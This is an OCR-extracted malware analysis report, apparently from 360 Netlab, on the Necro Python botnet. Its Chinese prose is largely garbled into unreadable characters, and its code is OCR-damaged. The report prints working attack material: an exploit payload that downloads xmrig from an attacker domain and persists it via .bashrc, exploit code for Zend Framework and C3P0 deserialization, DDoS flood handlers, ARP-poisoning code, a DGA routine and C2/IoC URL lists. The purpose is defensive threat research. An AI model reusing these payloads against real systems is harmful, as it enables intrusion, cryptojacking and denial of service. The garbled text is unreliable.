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5, BRHTERANRRAS A T B {RBEFEI R A Python2 2 E 25 LT , £ RIET A& {F FPyInstaller 41T ()
Pythonif%f%_o

EREARE FKITEERISEH 2K T L] FRIE T Necro botnet % FLF]{k[PythonCryptoMinter]
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shell

sh

echo -e "\x41\x4b\x34\x37'

wget http://aspjobjreorejborer.com/mirai.armexport ARGS="-o0 aveixucyimxwcmph.xyz:9050";LINE="killall -9 .sshd] |y

TEE KFRREIRFI A 1-daylRiFICVE-2020-356651% 1% 55 3hR B ipayload :

GET /include/makecvs.php?Event="export ARGS="-o aveixucyimxwcmph.xyz:9050"
LINE="killall -9 .sshd||pkill -9 .sshd_
[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile
nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &"
grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc
curl http://aveixucyimxwemph.xyz/xmrigl -0| |wget http://aveixucyimxwcmph.xyz/xmrigl -0 .sshd_
mv -f .sshd_ .sshd_
chmod 777 .sshd_
curl http://aveixucyimxwemph.xyz/xmrig -0 xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -0 xmrig

mv -f xmrig .sshd
chmod 777 .sshd
chmod +x ~/.bashrc
~/.bashrc

cd /tmp||php -r "file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"

curl http://aveixucyimxwcmph.xyz/.benchmark -0

curl http://aveixucyimxwcmph.xyz/.benchmark.py -0

php -r "file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));

wget http://aveixucyimxwcmph.xyz/.benchmark.py -0 .benchmark.py

M_EHE/Ipayloadf] PABE Ellexplik T F I TRIAMPythonfI A (.benchmark.py) , A=K TEIFHIT
Pylnstallerf B JREELFXX# (.benchmark) , X21EEBH2RIFESIAKTFIE , BREATIREPITH
IhER, [EAPython 2E£2F3KAEOL (end-of-life) , HLEZEEN A5 LRRZ X MBITHRE |, T{E APyinstallerf]
B JEHIPythonFE F ARSI ELF |, BRI B AR#IL2S L&A Python A E th a] UEE H4T.

BB IRIFCVE-2020-35665A FF 20204512 5 23 , EEEIEATEXIBRENFIARB8X |, 7] WAk
E X FTRIR R BAEE TR

B, BT Necro#f AR , EHEIfexpiia FEIZHN 2 Fxmrighlxmrigl , F1FA360netlabEE 4 BEAGERIRE |, 3k
A EFEH download serverid 2 A F miraifl—LEWindows iz ZexeF2 A T & , UiBANecrofI{EZ [RIB7E

1EE %K ikIbotnet :
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BN

BT, FRATAIL2021 54 HIR I NecroB E AR AT AST AR A | B MAZ RIFEEE A, RIBRERN
CoRFAEHAHBHXFA , KPR (necr0.py) FIZE2RR (outpy) FEEMILLEM _LKIRE , JRIE
ARG, E8E2hRIF 44X APylnstaller /5 IEPythonFs FFATAAELF, MSE2RRESE3MZE R F0
X, MERRIEEEEL , Coth \EFYRALISE AR T (EFADGAR A, 4 , &% A L3 RtIE
077 —£tn-dayRiR .

F1R

R K8 1R # 1A f % Fnecro.py , FTIAFKAITHE A& M % FNecro, FEREDRIE L |, BURAEF RS
TIRIBLIE

Scanning range %s for port ¥%s, scanning for telnet? Xs\n"
.ALECW(DAnTK) :
self.AELmEnMe

s-socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((vofUnCu, int (SkYkwTsVL)))
s.close()

Lf.MTpwZz. send ("PRIVMSG %s " % (self.SzKpj,vofUnCu))

. Finished scanning range %s\n" % (self.SzKpj,DAnTk))
F, targe 5, timee):
-target
.threads = threads
meend = time.time()+timee
.domains = domains
i range(self.threads)
threading. Thread(tar

1 »
IDP(random. randint (1, 5) target, soldier)
target, soldier, udp,

BRCAEER BREARLRTA , A BT IR m L] A S HREE -
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irc server: '45.145.185.229'
channel: '#necro'

key: 'm@rph’
FIaHEAS AT AR I AN AIDDoS I H A KA A & 2B

.upGxXTZ[3]==":ddos .udpflood":
Lf.MTpwZz. send ("PRIVMSG :5tarted UDP flood on
threading.Thread(target WtuZLQi,args=(self
-upGxXTZ[3]-=":ddos .synflood™:
self.MTpwZz. send("PRIVMSG :Started SYN flood
Lf-upGxXTZ[7])):
threading. Thread(tar self.DIanVt,
f-upGxXTZ[3]--":ddos.slowloris™:
.MTpwZz . send ( "PRIVMSG :Started Slowloris
TcNWBKYz ,args=(:
Lf - upGxXTZ[3]--":ddos .httpflood":
.MTpwZz .. send ( "PRIVMSG :Started HTTP flood on URL
i range(@, int(self-upGxXTZ[7])):
threading.Thread(target=self.diQmcoxyQ,a
f-upGxXTZ[3]--":ddos.loadamp™:
F.MTpwZz. send ("PRIVMSG :Downloading list from
urllib.urlretriewv: f-upGxXTZ[5], "." L. upGxXTZ[4])
self.upGxXTZ[3]-=":ddos.amp™

Mix by 48 0] PAF 4 Necrog — N BT DDoSH i fibotnet , C2HMYXETIRC , XIFHHEH AL BIEE
JLEudpflood, synflood, slowloris, httpfloodiX%t , 413 FEbotnet P ANE W, fKlamp 2 5 5 .

20K

%2hR (outpy) FMEEIRAIEETEEMY , BERRAFIALBZEWN , MIAT Zend Framework (known as
CVE-2021-3007) :

def exploit(self, ip, port):
"443" str{port):
url = "https://"+ip+™:"+str{port)

url = "http://"+ip+": " +str{port)

= check_endpoint{url):
urllib2.urlopen{url:’ /include/makecvs .php?Event=; FtmpX7CE7Cod

"TzoyNToiWmVuZ FxIdHRwXFJ1c3BvbnN1XFNOcmVhb5I6M]jp7 czoxMDoiACoAY2x1YW51c

hackzend urllib2.Request(url{"/zend3/public/", json.dumps(zend), {'Content-Type':
urllib2.urlopen{hackzend)
data = {
*columnId’ : o S
‘name”: "2°,
“type’: *3°,
'+defaultData’: 'com.mchange.v2.c3p8.WrapperConnectionPoolDataSource’,
‘defaultData.userOverridesAsString’: 'HexAsciiSerializedMap:aced@@B57372803d636f

EFRAREXRIFA202141 F48 A6 , XHEIREINecrolkEZE7ER FFTRIA 7T AR TR,
EC2HFIH , SB2hRFEIRHER T BRI IRTF :

Page 5 of 14



https://blog.netlab.360.com /not-really-new-pyhton-ddos-bot-n3crOmOrph-necromorph/

irc server: 'gxbrowser.net'

channel: '#update'
key: 'N3Wm3w'

SE3hK

S 3RRAYBALIME Fibenchmark.py & #R (&% . ARPLRIBINARA | SE3MREHR AR thR(EFADGARA HC2H,
%, BREIRSZRRMDCARES , THEEINAE A RE 184

avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph. xyz
avEiXUcYimXwcMph.xyz
aoRmVw0aT0GgYqgbk . xyz
aoRmVw0aT0GgYqgbk . xyz
aoRmVw0aT0GgYqgbk . xyz
MasEdcNVYwedJwVd. xyz
MasEdcNVYwedJwVd. xyz
MasEdcNVYwedJwVd. xyz
suBYdZaoqwvekR1Q.xyz

IBid360netlabfIDNSMon A4t , FHNNBENADGAB AT 1Mk £ aveixucyimxwemph.xyzE42 5 |

FEHMBETERFHNIESL, THEXREKFMESR

2021-01-11 11:49:28
2021-01-11 20:11:02
2021-01-11 20:11:01
2021-01-11 20:11:01
2021-01-11 20:11:01
2021-01-11 20:11:01
2021-01-11 20:11:01

2021-01-20
2021-01-11
2021-01-11
2021-01-11
2021-01-11
2021-01-11
2021-01-11

03:
20:
20:
20:
20:
20:
20:

47:
103
103
103
103
103
103

"
"
"
"
"
"

372

N N N N NN

aveixucyimxwcmph.
aveixucyimxwcmph.
aveixucyimxwcmph.
aveixucyimxwcmph.
aveixucyimxwcmph.
aveixucyimxwcmph.

aveixucyimxwcmph.

Xyz
Xyz
Xyz
Xyz
Xyz
Xyz

Xyz

TXT
MX
MX
MX
MX
MX

193.239.147.2:
"v=spf1 incluc
eforward4. regj
eforward>5. regj
eforward?.regj
eforward1.regji

eforward3.regj

20214F1 7205 , FERHHFESMAFARTIEE XX DCGATIAM T B , KFrF N3FHEZA40965 , [RHSFF

JaE ASSLM A BISEIE.

FEIMMA—NEUERBRIENETET , MUTEBEE XN RLEHEBHRBRFEN TR | EF TR
Fbase64.encode(zlib.compress(plain_string))iXFH AR T Jwbl , SBHATABEIEN. BENXRNESR

$, i TR
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SoPUyinFIai
YRPUgGIfand
UlkyumOEvd
GkDEKThWLi
def SVRoPuWIW(s):
1uCSjWkuhQc
**.join(
akwzobexZ - 1
oadWaHaVu
dZbTFgdId - 1
JFVjhRgNg - @
YRPUgGIfand
ShXZiJbaasGS-5
zmZY1SuquFo
nO1FNGBfo
gNJZOosbAi
SoPUyinFIai
mCORZjyx
UlkyumOEvd
GKDEKIhWLi
eAOeiboh
SVR

VRoPuWIW(zlib.decompres

} -

myip
CxQHqeqgPjeF
CxQHgeqgPjeF.connect((
myip-CxQHgeqgPjeF .getsockname()[8]

FEEHEAR L, FIEN T ELHRRAFIA

JEcFZNduij
ilgiCakin urllib2 . Request(url
urllib2.urlopen(ilqiCakin,

nJXRka(zI
‘host_list’: '127.6.8.1°,

{ form_id"': ‘user_pass’,

{"page’': 'bylistbox’,

enumerate(s)])

2307 \x
')):(SVRaP

AM)

X— R A AR E AR R BTk

"_triggering_element_name': "name’}
* [ 2g=user/password&knameX5b%23post_render

'toel list’: ' fproc/self/environ’,

‘snmp_com’: ‘aze®,
‘snmp_version’: '2c’,
‘min_port’: '1°,
‘max_port': '1824°,
‘username’: '
‘password’: ',
‘snmp_auth_protocol”:
‘snmp_priv_passphrase’:
‘snmp_priv_protocol®: '°,
‘snmp_context’: "'}
ilgiCakin urllib2 . Request(url
urllib2.urlopen{ilgiCakin, ¢

*/moduleftool_all/select tool.php®, dato-urllib.urlencods

FESFFIDDoSE 7 TA T H BRI A Z N , AR d & BT JtS4biE |, RS /FHIDDosa & &H20 T
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jogwpXZURwb[3] *: .udpflood”:
threading.Thread(target-s pAbMz(Qq, args-(jogwpXZURwb[4], int(jogwpXZURwb[5]
sel f.AbJppCRv.send( " PRIVMSG Started UDP flood on : (dKIsTcVuj, jogwpXZ

jogwpXZURwb[3] *: .synflood " :
i range(8, int{jogwpXZURwb[7])):
threading.Thread(target .0EQuoXuyjIci, a
self.AbJppCRv.send( " PRIVMSG :Started SYN floo

jogwpXZURwh[3] ':.tepflood’:
i range(8, int(jopwpXZURwb[7])):
threading.Thread(target=self.FKagcojo, args-(jogwpXZURwb[4], int{jogwpXZURwb|"
-AbJppCRv.send( " PRIVMSG :5tarted TCP flood on ts with ¥s threads” (dK

jogwpXZURwhb[3] *:.slowloris’:
threading . Thread(target-s uimcZCss, args—(jogwpXZURwb[4], int{jogwpXZURwb[5]),
self.AbJppCRv .send( " PRIVMS :Started Slowloris on %s with sockets” {dKIsTq

jogwpXZURwb[ 3] ': .httpflood’:
i range(8, int({jogwpXZURwb[7])):
elLf.HavbLBhIESd, args—(jogwpXZURwb[4], jogwpXZURwb[5
Started HTTP flood on URL: %s with %s threads’

jogwpXZURwh[3] *:.loadamp’ :
: .AbJppCRv.send( " PRIVMSG :Downloading %s list from #%s” (dKIsTcVuj, jogwpXd
threading . Thread( target-urllib_urlretrieve, (jogwpXZURwb[5], ".° jogwpXZUR

FAHR

B H R AR AS ERATTAEEINecro RE2015F FEFFR , EEFRZ AN3CromOrPh
(Necromorph),

FIRIXLEE | FRATAREA FE B SEBXE—Ht 4t 3T Windows T & R HANecrokE A | EpRexe4F |, XHAEAR
NaFth ] LB HIEI20154F | BRBIRFABRAEEYS. WXL R UHRT Necro s So4t X A2 Windows
Fa , REMIFEPythonfE F RAKETFAKHE |, SN XK EFERAAILinuxtlas (I0TiRE. =R
#%) , BANeaoffERAERELinuxi® &, TR , MAELinux malware KEHF X Z 7 FHik— A -

Necro,
HE

R 48B4 NecroBE AR R Py Installef B AR A& , FTEHEBANMAIMTEDHE. RIE. BEEFFERAER
. py AR
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. fiER

PASE3RRCA , FAFFIR LT A pyinstxtractorfi# 4 M\ELFAFEAF 12 R fhipydataidE fa o] LAIS B R A py thon I AN 1K
). sohSEE. pythonFELAKR FHTRLI £ benchmark.pyc,

PYZ-00.pyz_extracted & 2021/1/15 15:23
] benchmark.pyc = 2021/1/15 15:23
_codecs_cn.xB6_64-linux-gnu.so & 2021/1/15 15:23
_codecs_hkxB6_64-linux-gnu.so = 2021/1/15 15:23
_codecs_iso2022.x86_64-linux-gnu.so ®)] 2021/1/15 15:23
_codecs jp.xB6_64-linux-gnu.so & 2021/1/15 15:23
_codecs_krx86_64-linux-gnu.so @) 2021/1/15 15:23
_codecs_tw.xB6_g4-linux-gnu.so &) 2021/1/15 15:23
_ctypes.x86 64-linux-gnu.so = 2021/1/15 15:23
_hashlib.x86_64-linux-gnu.so = 2021/1/15 15:23
_multibytecodec.x86_64-linux-gnu.so &) 2021/1/15 15:23
_multiprocessing.xB86_64-linux-gnu.so & 2021/1/15 15:23
_sslx86_B4-linux-gnu.so ®)] 2021/1/15 15::23
bz2 %86 64-linux-gnu.so )] 2021/1/15 15:23
libbz2.50.1.0 & 2021/1/15 15:23
liberypto.so.1.1 )] 2021/1/15 15:23
libexpat.so.1 = 2021/1/15 15:23
libffi.s0.7 ) 2021115 15:23
libpython2.7.50.1.0 )] 2021/1/15 15:23
libreadline.so.8 )] 202171715 15:23
libssl.so.1.1 = 202171715 15:23
libtinfo.s0.6 = 202171715 15:23
libz.so.1 & 2021/1/15 15:23
mmap.xB&_64-linux-gnu.so &) 2021/1/15 15:23
pyexpatx86 64-linux-gnu.so = 2021/1/15 15:23
E pyi rth multiprocessing.pyc & 2021/1/15 15:23
B nvibootl hootstran.nve =} 202111115 19:23

o RYmiFpyc

#Funcompyle6 [z 1% .pycF T ALY AT IATS 2 A fpythonfiiA . 183 X$ bk 3k B [B—downloaderfK]pythonfi
A .benchmark.py , &ZINFIRRYmiFE ). pyIAAERE , FTRABTRE .benchmark.py FLEFTERTHIEIAMA,

. TR

Necrof$ F fa] B i) “zip R 45 + 8 N A AR 74T 288, THEXEARL/RSE T fRhLid s « e B SRl
BRI T AT '8.8.8.8"

xor_crypt(zlib.decompress(b'\x78\x9c\xab\xac\x8d\x72\xf7\xca\x96\x06\x00\x0a\xf1\x02\x68"))

def xor_crypt(s):
xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52]

return ('').join([ chr(ord(c) ™ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) 1)
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pythonfIA BN R SR repack() BRERST HRTHISCHFEITAT , ATEMHEIEZ KX Mobj_name_listdk

(RPRE T XHFEENNNRETR) PRE—NNREROTERSE X8R , RHR) , AaE—
MBI F & , XA FEHF R BB R ST R EFR , SRR RIS B HIRARE
AR RERRT . FAXFEERTER , FAVARENARRERE LIEN S N RBMNEENE N , &
ZRIPRAHAED |, BANEARRE T RLHITNEE.

def __init_ (self):

self.repack() #repack bot before we install
self.install() #Install

def repack(self):

try:
fh_myself=open(argv[0],"r")
_pyload=fh_myself.read()
fh_myself.close()
obj_name_list=["localhost_irc', 'gen_random_8char'....]
for obj_name in obj_name_list:

_pyload=_pyload.replace(obj_name,self.gen_random_8char(8))

new_fh_myself=open(argv[0],"w")
new_fh_myself.write(_pyload)
new_fh_myself.close()

except:

pass

o ARPHIRFIMEIRLR

P A BB INecrod STHIFARPIRFF MG R EIRER. ARPHUIRZ A T IEXFEZEAFIRAM X , RA540
TRI7R.

def create_pkt_arp_poison():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
s.bind(("wlan@", 0))

while(1):

for lmfao in getPoisonIPs():
src_addr = get_src_mac()
dst_addr = lmfao[0]
src_ip_addr = get_default_gateway_linux()
dst_ip_addr = lmfao[1]
dst_mac_addr = "\x@0\x00\x00\x00\x00\x00"
payload = "\x00\x01\x08\x00\x06\x04\x00\x02"
checksum = "\x00\x00\x00\x00"
ethertype = "\x08\x06"
s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr

+ dst_mac_addr + dst_ip_addr + checksum)
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time.sleep(2)
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MRFEREE) , WIDE T netlab@360.cnfk RFHKA].

hRAXFSEA

A3 A Netlab Jinye [RRY , 4k# CC BY-SA 4.0 VFRUEBHTIRAL , HEGEM LA G R AT,
IoC

C2

45.145.185.83
193.239.147.224
gxbrowser.net

aveixucyimxwcmph.xyz

Download URL

# 1R
http://45.145.185.229/necr@.py

# 2R
http://gxbrowser.net/out

http://gxbrowser.net/out.py

# 3R
http://aveixucyimxwcmph.xyz/.benchmark

http://aveixucyimxwcmph.xyz/.benchmark.py

t HEHE
http://gxbrowser.net/xmrig

http://gxbrowser.net/xmrigl

http://aveixucyimxwemph.xyz/xmrigl
http://45.145.185.229/bins/nginx.html/keksec.x86
http://45.145.185.229/bins/nginx.html/keksec.spc
http://45.145.185.229/bins/nginx.html/keksec.sh4
http://45.145.185.229/bins/nginx.html/keksec.ppc
http://45.145.185.229/bins/nginx.html/keksec.mpsl
http://45.145.185.229/bins/nginx.html/keksec.mips
http://45.145.185.229/bins/nginx.html/keksec.m68k
http://45.145.185.229/bins/nginx.html/keksec.i586
http://45.145.185.229/bins/nginx.html/keksec.arm
http://45.145.185.229/bins/nginx.html/keksec.arm?
http://45.145.185.229/bins/nginx.html/keksec.armb
http://45.145.185.229/bins/keksec.x88 64
http://45.145.185.229/bins/keksec.x86
http://45.145.185.229/bins/keksec.x64
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DGA Hjx

import random

def gen_random_str(_range):
return ('').join(random.choice('abcdefghijklmnopgoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range

def gen_cc(time):
random.seed(a=5236442 + time)

return gen_random_str(16) + '.xyz'

def gen_DGA():

i=20
while 1:
for _ in range(3):
try:
print(gen_cc(i))
except:
pass
if i >= 2048:
i=0
i+=1

gen_DGA()

CoHREHE L

self.irc_server=bb4decode(bb4decode("3465343735353330346534343535333134653761353533303561343435353330346535343:

self.server_port=6667 #Server port

Page 13 of 14


http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh
http://45.145.185.229/update.sh

https://blog.netlab.360.com /not-really-new-pyhton-ddos-bot-n3crOmOrph-necromorph/

self.channel=bhb4decode(b64decode("34653434366237613464366134643331346536643464333134663534346437613465343734353!

self.channel_key==b64decode(bb4decode("346536613439333134653434353137393465376136623332346437613531333334653661:

51

Source:

https://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/

https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
https://nvd.nist.gov/vuln/detail/ CVE-2020-28188

https://nvd.nist.gov/vuln/detail/CVE-2021-3007

https://nvd.nist.gov/vuln/detail/CVE-2020-7961

https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3crOmOrph-necromorph/
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